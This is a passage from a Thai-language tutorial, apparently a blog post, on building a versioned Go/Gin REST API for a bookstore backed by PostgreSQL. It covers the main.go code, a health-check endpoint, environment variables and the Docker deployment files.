&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; &#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Route &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE42;&#xE2B;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; Application &#xE14;&#xE49;&#xE27;&#xE22; Package &quot;config&quot; &#xE08;&#xE32;&#xE01; Environment Variable</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Connection String &#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; BookStore Object &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; Database &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE27;&#xE49;</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Handler Object &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49; BookStore</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Goroutine &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Database &#xE17;&#xE38;&#xE01; 10 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE16;&#xE49;&#xE32;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE2B;&#xE25;&#xE38;&#xE14;&#xE08;&#xE30;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48; (&#xE1A;&#xE19; Production Environment &#xE04;&#xE27;&#xE23;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE0A;&#xE49; <a href="https://www.pgbouncer.org/?ref=blog.pjjop.org">PgBouncer</a> &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; Go&apos;s Built-in Connection Pooling &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Connection Pooling &#xE41;&#xE25;&#xE30; Reconnection &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE14;&#xE20;&#xE32;&#xE23;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Connection &#xE43;&#xE19; Application)</li><li>&#xE15;&#xE31;&#xE49;&#xE07; Gin &#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE42;&#xE2B;&#xE21;&#xE14; Release</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Default Gin Router</li><li>&#xE19;&#xE33; Timeout Middleware &#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;</li><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Route &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Health Check</li><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Route Group &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; API Version 1</li><li>&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Route &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; (GET, POST, DELETE)</li><li>&#xE23;&#xE31;&#xE19; Web Server &#xE15;&#xE32;&#xE21; Port &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE19; Environment Variable</li></ol><p>&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Version &#xE02;&#xE2D;&#xE07; API &#xE17;&#xE35;&#xE48;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE07;&#xE48;&#xE32;&#xE22;&#xE08;&#xE30;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A; API &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; API</p><p>&#xE2B;&#xE32;&#xE01;&#xE40;&#xE23;&#xE32;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D; Field &#xE40;&#xE14;&#xE34;&#xE21;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A; Version &#xE41;&#xE25;&#xE49;&#xE27; Application &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; API &#xE2D;&#xE32;&#xE08;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Update Application &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE4D;&#xE32;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; API Version &#xE43;&#xE2B;&#xE21;&#xE48;</p><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE21;&#xE35;&#xE23;&#xE30;&#xE1A;&#xE1A; Version &#xE43;&#xE19; API &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE01;&#xE47;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE40;&#xE27;&#xE49;&#xE19;&#xE01;&#xE31;&#xE1A; <strong>Health Check </strong>Endpoint &#xE17;&#xE35;&#xE48;<strong>&#xE04;&#xE27;&#xE23;&#xE27;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49;&#xE19;&#xE2D;&#xE01; Version</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/diagram-5.png" class="kg-image" alt loading="lazy" width="678" height="509" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/diagram-5.png 600w, https://blog.pjjop.org/content/images/2024/09/diagram-5.png 678w"></figure><p>&#xE23;&#xE30;&#xE1A;&#xE1A; Monitoring &#xE2B;&#xE23;&#xE37;&#xE2D; Load Balancer &#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; Health Check Endpoint &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; Component &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE22;&#xE31;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; Health Check &#xE08;&#xE36;&#xE07;&#xE04;&#xE27;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE04;&#xE27;&#xE23;&#xE02;&#xE36;&#xE49;&#xE19;&#xE01;&#xE31;&#xE1A; Version &#xE02;&#xE2D;&#xE07; API &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE21;&#xE31;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Business Logic</p><figure class="kg-card kg-code-card"><pre><code>package main

import (
	&quot;log&quot;
	&quot;myproject/internal/bookstore&quot;
	&quot;myproject/internal/config&quot;
	&quot;myproject/internal/handlers&quot;
	&quot;time&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

func TimeoutMiddleware(timeout time.Duration) gin.HandlerFunc {
    return func(c *gin.Context) {
        ctx, cancel := context.WithTimeout(c.Request.Context(), timeout)
        defer cancel()

        c.Request = c.Request.WithContext(ctx)
        c.Next()
    }
}

func main() {
	cfg, err := config.LoadConfig()
	if err != nil {
		log.Fatalf(&quot;Failed to load config: %v&quot;, err)
	}
	db, err := bookstore.NewPostgresDatabase(cfg.GetConnectionString())
	if err != nil {
		log.Printf(&quot;Failed to connect to database: %v&quot;, err)
	}
	if db != nil {
    		defer db.Close()
	}

	bs := bookstore.NewBookStore(db)
	h := handlers.NewBookHandlers(bs)

	go func() {
		for {
			time.Sleep(10 * time.Second)
			if err := db.Ping(); err != nil {
				log.Printf(&quot;Database connection lost: %v&quot;, err)
				// &#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE21;&#xE48;
				if reconnErr := db.Reconnect(cfg.GetConnectionString()); reconnErr != nil {
					log.Printf(&quot;Failed to reconnect: %v&quot;, reconnErr)
				} else {
					log.Printf(&quot;Successfully reconnected to the database&quot;)
				}
			}
		}
	}()

	gin.SetMode(gin.ReleaseMode)
	r := gin.Default()
    r.Use(TimeoutMiddleware(5 * time.Second))

	r.GET(&quot;/health&quot;, h.HealthCheck)

	// API v1
	v1 := r.Group(&quot;/api/v1&quot;)
	{
		v1.GET(&quot;/books/:id&quot;, h.GetBook)
		v1.POST(&quot;/books&quot;, h.AddBook)
		v1.DELETE(&quot;/books/:id&quot;, h.DeleteBook)
	}

	if err := r.Run(&quot;:&quot; + cfg.AppPort); err != nil {
		log.Printf(&quot;Failed to run server: %v&quot;, err)
	}
}
</code></pre><figcaption>main.go</figcaption></figure><p>&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27;&#xE1A;&#xE19; OS &#xE02;&#xE2D;&#xE07;&#xE17;&#xE48;&#xE32;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; Command Line &#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; IP Address &#xE14;&#xE49;&#xE27;&#xE22;&#xE2A;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>ifconfig</strong> &#xE1A;&#xE19; Unix/Linux &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>ipconfig</strong> &#xE1A;&#xE19; Windows &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; IP Address &#xE02;&#xE2D;&#xE07; <strong>POSTGRES_HOST &#xA0;</strong></p><figure class="kg-card kg-code-card"><pre><code>export APP_PORT=8080
export POSTGRES_HOST=172.20.10.2
export POSTGRES_PORT=5432
export POSTGRES_USER=bookstore_user
export POSTGRES_PASSWORD=your_strong_password
export POSTGRES_DBNAME=bookstore
export POSTGRES_SSLMODE=disable</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27; &#xE1A;&#xE19; Unix/Linux</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>set APP_PORT 8080
set POSTGRES_HOST 172.20.10.2
set POSTGRES_PORT 5432
set POSTGRES_USER bookstore_user
set POSTGRES_PASSWORD your_strong_password
set POSTGRES_DBNAME bookstore
set POSTGRES_SSLMODE disable</code></pre><figcaption>&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Environment Variable &#xE0A;&#xE31;&#xE48;&#xE27;&#xE04;&#xE23;&#xE32;&#xE27; &#xE1A;&#xE19; Windows</figcaption></figure><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

./main </code></pre><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30; Database Connection &#xE1C;&#xE48;&#xE32;&#xE19; Web Browser &#xE14;&#xE49;&#xE27;&#xE22; URL <a href="http://localhost:8080/health?ref=blog.pjjop.org">http://localhost:8080/health</a></p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-3.21.49-PM.png" class="kg-image" alt loading="lazy" width="1616" height="772" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-26-at-3.21.49-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-26-at-3.21.49-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-26-at-3.21.49-PM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-26-at-3.21.49-PM.png 1616w" sizes="(min-width: 720px) 720px"></figure><p>&#xE16;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; Status &quot;healthy&quot; &#xE01;&#xE47;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE19; Web Server &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL &#xE41;&#xE25;&#xE49;&#xE27;</p><p>&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; Stop PostgreSQL &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose stop &#xE43;&#xE19; Folder &quot;bookstoredatabase\&quot; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;</p><pre><code>docker-compose stop</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.27.50-AM.png" class="kg-image" alt loading="lazy" width="1876" height="564" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-27-at-6.27.50-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-27-at-6.27.50-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-27-at-6.27.50-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.27.50-AM.png 1876w" sizes="(min-width: 720px) 720px"></figure><p>&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE02;&#xE2D;&#xE07; Server &#xE41;&#xE25;&#xE30; Database Connection &#xE1C;&#xE48;&#xE32;&#xE19; Web Browser &#xE14;&#xE49;&#xE27;&#xE22; URL <a href="http://localhost:8080/health?ref=blog.pjjop.org">http://localhost:8080/health</a> &#xE2D;&#xE35;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.30.21-AM.png" class="kg-image" alt loading="lazy" width="1644" height="728" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-27-at-6.30.21-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-27-at-6.30.21-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-27-at-6.30.21-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.30.21-AM.png 1644w" sizes="(min-width: 720px) 720px"></figure><p>Start PostgreSQL &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; docker-compose up -d &#xE43;&#xE19; Folder &quot;bookstoredatabase\&quot;</p><pre><code>docker-compose up -d</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.32.39-AM.png" class="kg-image" alt loading="lazy" width="1876" height="632" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-27-at-6.32.39-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-27-at-6.32.39-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-27-at-6.32.39-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.32.39-AM.png 1876w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE19; Web Server &#xE1A;&#xE19; Localhost &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE2B;&#xE49; Stop &#xE21;&#xE31;&#xE19;&#xE42;&#xE14;&#xE22;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Terminal &#xE02;&#xE2D;&#xE07; VS Code &#xE01;&#xE14; Ctrl+C</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.23.05-AM.png" class="kg-image" alt loading="lazy" width="2000" height="188" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-27-at-6.23.05-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-27-at-6.23.05-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-27-at-6.23.05-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-27-at-6.23.05-AM.png 2278w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; File &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy &#xE1A;&#xE19; Docker Container &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; .env, .gitignore, Dockerfile &#xE41;&#xE25;&#xE30; docker-compose.yml &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code># App
APP_PORT=8080

# Database
POSTGRES_HOST=172.20.10.2
POSTGRES_PORT=5432
POSTGRES_USER=bookstore_user
POSTGRES_PASSWORD=your_strong_password
POSTGRES_DBNAME=bookstore
POSTGRES_SSLMODE=disable</code></pre><figcaption>.env</figcaption></figure><p>.env &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; Application &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE08;&#xE32;&#xE01;&#xE43;&#xE19; File &quot;docker-compose.yml&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Environment Variable &#xE43;&#xE2B;&#xE49; Container &#xE17;&#xE35;&#xE48; docker-compose.yml &#xE14;&#xE39;&#xE41;&#xE25;</p><p>&#xE01;&#xE32;&#xE23;&#xE1A;&#xE2D;&#xE01;&#xE43;&#xE2B;&#xE49; Git &#xE41;&#xE22;&#xE01; File &quot;.env&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE4D;&#xE32;&#xE04;&#xE31;&#xE0D;&#xE44;&#xE27;&#xE49;&#xE19;&#xE2D;&#xE01; Codebase &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; .gitignore &#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE2D;&#xE48;&#xE2D;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code># Environment variables
.env</code></pre><figcaption>.gitignore</figcaption></figure><p>Docker &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Container &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE19; &#xE08;&#xE36;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; &quot;But it works on my machine&quot; 